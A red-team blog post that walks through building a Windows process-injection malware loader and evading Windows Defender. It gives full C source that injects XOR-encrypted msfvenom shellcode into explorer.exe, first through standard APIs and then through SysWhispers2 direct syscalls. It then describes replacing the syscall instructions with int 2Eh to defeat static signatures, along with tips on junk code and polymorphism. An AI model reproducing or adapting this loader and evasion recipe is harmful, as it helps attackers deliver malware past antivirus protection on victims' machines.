When I started my journey in Malware Development and AV/EDR Evasion, most of the articles and blog posts I have read recommended the use of syscalls. By using syscalls, an adversary can bypass detection controls (such as user-land Hooking) by jumping into the kernel-mode. Evasion is possible in this case since AV/EDR systems can only monitor an application’s behaviour in user-mode. Another advantage is the fact that any Windows API functions used will not be referenced in the import table.
Implementing syscalls manually is challenging since the syscall numbers differ between OS versions, service packs and/or build numbers. Thankfully, SysWhisper2 exists and did the tedious work for us by maintaining a lookup table of known syscall numbers for different Windows versions, service packs and/or build numbers.
Since the use of syscalls is recommended, I implemented it right away in the malware I’m building! However, the result I got was different from what I expected. The worse thing is Windows Defender caught my malware. I never thought Defender would flag it since the use of syscalls is an “advanced” evasion technique and Defender can be “easily” bypassed, right?
Well, it turned out I was wrong!
The Baseline
The following code was used as the baseline in the malware I’m building. This code is an implementation of one of the most common process injection techniques.
#include <Windows.h>
int main(int argc, char* argv[])
{
// PID of explorer.exe
DWORD pid = 23452;
// msfvenom --payload windows/x64/messagebox TEXT="Hello there." EXITFUNC=thread -f c
unsigned char shellcode[] = "\x9c\x28\xe1\x84\x90\x9f\x9f\x9f\x88\xb0\x60\x60\x60\x21\x31\x21\x30\x32\x31\x36\x28\x51\xb2\x05\x28\xeb\x32\x00\x5e\x28\xeb\x32\x78\x5e\x28\xeb\x32\x40\x5e\x28\xeb\x12\x30\x5e\x28\x6f\xd7\x2a\x2a\x2d\x51\xa9\x28\x51\xa0\xcc\x5c\x01\x1c\x62\x4c\x40\x21\xa1\xa9\x6d\x21\x61\xa1\x82\x8d\x32\x21\x31\x5e\x28\xeb\x32\x40\x5e\xeb\x22\x5c\x28\x61\xb0\x5e\xeb\xe0\xe8\x60\x60\x60\x28\xe5\xa0\x14\x0f\x28\x61\xb0\x30\x5e\xeb\x28\x78\x5e\x24\xeb\x20\x40\x29\x61\xb0\x83\x3c\x28\x9f\xa9\x5e\x21\xeb\x54\xe8\x28\x61\xb6\x2d\x51\xa9\x28\x51\xa0\xcc\x21\xa1\xa9\x6d\x21\x61\xa1\x58\x80\x15\x91\x5e\x2c\x63\x2c\x44\x68\x25\x59\xb1\x15\xb6\x38\x5e\x24\xeb\x20\x44\x29\x61\xb0\x06\x5e\x21\xeb\x6c\x28\x5e\x24\xeb\x20\x7c\x29\x61\xb0\x5e\x21\xeb\x64\xe8\x28\x61\xb0\x21\x38\x21\x38\x3e\x39\x3a\x21\x38\x21\x39\x21\x3a\x28\xe3\x8c\x40\x21\x32\x9f\x80\x38\x21\x39\x3a\x5e\x28\xeb\x72\x89\x29\x9f\x9f\x9f\x3d\x29\xa7\xa1\x60\x60\x60\x60\x5e\x28\xed\xf5\x7a\x61\x60\x60\x5e\x2c\xed\xe5\x47\x61\x60\x60\x28\x51\xa9\x21\xda\x25\xe3\x36\x67\x9f\xb5\xdb\x80\x7d\x4a\x6a\x21\xda\xc6\xf5\xdd\xfd\x9f\xb5\x28\xe3\xa4\x48\x5c\x66\x1c\x6a\xe0\x9b\x80\x15\x65\xdb\x27\x73\x12\x0f\x0a\x60\x39\x21\xe9\xba\x9f\xb5\x28\x05\x0c\x0c\x0f\x40\x14\x08\x05\x12\x05\x4e\x60\x2d\x05\x13\x13\x01\x07\x05\x22\x0f\x18\x60";
SIZE_T shellcodeSize = sizeof(shellcode);
// XOR-decrypt the shellcode
char key = '`';
for (int i = 0; i < sizeof(shellcode) - 1; i++) {
shellcode[i] = shellcode[i] ^ key;
}
HANDLE processHandle;
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
PVOID baseAddress;
baseAddress = VirtualAllocEx(processHandle, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, baseAddress, shellcode, shellcodeSize, NULL);
HANDLE threadHandle;
threadHandle = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)baseAddress, NULL, 0, NULL);
CloseHandle(processHandle);
return 0;
}
The shellcode was XOR-encrypted since shellcodes generated by
msfvenom
are heavily signatured and easily detected.
The baseline code didn’t use any syscalls and as soon as it touched the disk, Defender caught it immediately.
This is not surprising since almost all AVs look for a combination of Windows APIs such as VirtualAllocEx
, WriteProcessMemory
, and CreateRemoteThread
, which are commonly used for malicious purposes.
Implementing SysWhisper
Before implementing the use of syscalls, it is necessary to first identity the native/syscall equivalent of the Windows API used in the baseline code. This is shown in the right column of the table below.
Windows API | Native API |
---|---|
OpenProcess | NtOpenProcess |
VirtualAllocEx | NtAllocateVirtualMemory |
WriteProcessMemory | NtWriteVirtualMemory |
CreateRemoteThread | NtCreateThreadEx |
CloseHandle | NtClose |
And here’s the updated code which utilizes the use of syscalls.
#include <Windows.h>
#include "include/syscalls.h"
int main(int argc, char* argv[])
{
// PID of explorer.exe
DWORD pid = 23452;
// msfvenom --payload windows/x64/messagebox TEXT="Hello there." EXITFUNC=thread -f c
unsigned char shellcode[] = "\x9c\x28\xe1\x84\x90\x9f\x9f\x9f\x88\xb0\x60\x60\x60\x21\x31\x21\x30\x32\x31\x36\x28\x51\xb2\x05\x28\xeb\x32\x00\x5e\x28\xeb\x32\x78\x5e\x28\xeb\x32\x40\x5e\x28\xeb\x12\x30\x5e\x28\x6f\xd7\x2a\x2a\x2d\x51\xa9\x28\x51\xa0\xcc\x5c\x01\x1c\x62\x4c\x40\x21\xa1\xa9\x6d\x21\x61\xa1\x82\x8d\x32\x21\x31\x5e\x28\xeb\x32\x40\x5e\xeb\x22\x5c\x28\x61\xb0\x5e\xeb\xe0\xe8\x60\x60\x60\x28\xe5\xa0\x14\x0f\x28\x61\xb0\x30\x5e\xeb\x28\x78\x5e\x24\xeb\x20\x40\x29\x61\xb0\x83\x3c\x28\x9f\xa9\x5e\x21\xeb\x54\xe8\x28\x61\xb6\x2d\x51\xa9\x28\x51\xa0\xcc\x21\xa1\xa9\x6d\x21\x61\xa1\x58\x80\x15\x91\x5e\x2c\x63\x2c\x44\x68\x25\x59\xb1\x15\xb6\x38\x5e\x24\xeb\x20\x44\x29\x61\xb0\x06\x5e\x21\xeb\x6c\x28\x5e\x24\xeb\x20\x7c\x29\x61\xb0\x5e\x21\xeb\x64\xe8\x28\x61\xb0\x21\x38\x21\x38\x3e\x39\x3a\x21\x38\x21\x39\x21\x3a\x28\xe3\x8c\x40\x21\x32\x9f\x80\x38\x21\x39\x3a\x5e\x28\xeb\x72\x89\x29\x9f\x9f\x9f\x3d\x29\xa7\xa1\x60\x60\x60\x60\x5e\x28\xed\xf5\x7a\x61\x60\x60\x5e\x2c\xed\xe5\x47\x61\x60\x60\x28\x51\xa9\x21\xda\x25\xe3\x36\x67\x9f\xb5\xdb\x80\x7d\x4a\x6a\x21\xda\xc6\xf5\xdd\xfd\x9f\xb5\x28\xe3\xa4\x48\x5c\x66\x1c\x6a\xe0\x9b\x80\x15\x65\xdb\x27\x73\x12\x0f\x0a\x60\x39\x21\xe9\xba\x9f\xb5\x28\x05\x0c\x0c\x0f\x40\x14\x08\x05\x12\x05\x4e\x60\x2d\x05\x13\x13\x01\x07\x05\x22\x0f\x18\x60";
SIZE_T shellcodeSize = sizeof(shellcode);
// XOR-decrypt the shellcode
char key = '`';
for (int i = 0; i < sizeof(shellcode) - 1; i++) {
shellcode[i] = shellcode[i] ^ key;
}
HANDLE processHandle;
OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };
CLIENT_ID clientId = { (HANDLE)pid, NULL };
NtOpenProcess(&processHandle, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);
LPVOID baseAddress = NULL;
NtAllocateVirtualMemory(processHandle, &baseAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(processHandle, baseAddress, &shellcode, sizeof(shellcode), NULL);
HANDLE threadHandle;
NtCreateThreadEx(&threadHandle, GENERIC_EXECUTE, NULL, processHandle, baseAddress, NULL, FALSE, 0, 0, 0, NULL);
NtClose(processHandle);
return 0;
}
The above code was written with the help of SysWhisper2, which currently only supports x64. If you need x86, SysWhispers2_x86 can be used.
Now this should evade Defender, right? Unfortunately, no! As seen here, Defender caught it again as soon as it touched the disk.
What’s Offending Defender?
Good thing a tool like ThreatCheck exists to identify the offending bytes in our malware. However, running this tool against our malware didn’t provide any useful information.
PS C:\RedTeam\ThreatCheck\ThreatCheck\ThreatCheck\bin\Release> .\ThreatCheck.exe -f C:\RedTeam\EvadeDefender\x64\Release\EvadeDefender.exe
[+] Target file size: 12800 bytes
[+] Analyzing...
[x] File is malicious, but couldn't identify bad bytes
When I rerun the tool, it provided a different result. But still not useful.
PS C:\RedTeam\ThreatCheck\ThreatCheck\ThreatCheck\bin\Release> .\ThreatCheck.exe -f C:\RedTeam\EvadeDefender\x64\Release\EvadeDefender.exe
[+] Target file size: 12800 bytes
[+] Analyzing...
[!] Identified end of bad bytes at offset 0x3170
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ················
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ················
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ················
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ················
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ················
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ················
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ················
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ················
00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ················
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ················
000000A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ················
000000B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ················
000000C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ················
000000D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ················
000000E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ················
000000F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ················
Based on my observation, the tool provides different results when you run it several times. I’m not sure who’s to blame, the tool or the AV. Anyway, after running it several times, I still didn’t get anything useful.
After some Googling, I came across this blog post which mentions that the use of syscalls can be easily identified by searching for the syscall
instruction. By doing a “Text search” for the string “syscall”, 5 occurrences were identified - which is right since there are 5 Native API functions used; NtOpenProcess
, NtAllocateVirtualMemory
, NtWriteVirtualMemory
, NtCreateThreadEx
, and NtClose
.
So Windows Defender might be looking for the syscall
instructions within the binary and that’s why it’s getting detected.
Now What?
One way to easily solve this issue and bypass Defender is to use the legacy instruction int 2Eh
, which is used to make the switch from user-mode to kernel-mode.
This can be done easily by looking for any syscall
instructions within the *.asm
output file of SysWhisper2 and changing them to int 2Eh
.
And as soon as it touched the disk, Defender failed to detect it. Even when the binary was executed, Defender still failed to detect it.
How about running it against multiple AVs? Turned out we have a good detection rate.
Are We Good Then?
It’s true that we have achieved our goal of evading AVs using direct syscalls. However, the method presented can be easily signatured. Instead of looking for syscall instructions within the binary, defenders could also look for the presence of int 2Eh instructions.
So what can we do about it as a red teamer? One way is to obfuscate the *.asm
file by adding some “junk codes”, or using polymorphic codes.
Another way is to dynamically resolve the syscall stubs during run-time as presented in the following:
Note that while some of the methods mentioned could help in evading AVs/EDRs, especially bypassing the static signatures, I doubt it would work from the eyes of a seasoned incident responder or threat hunter.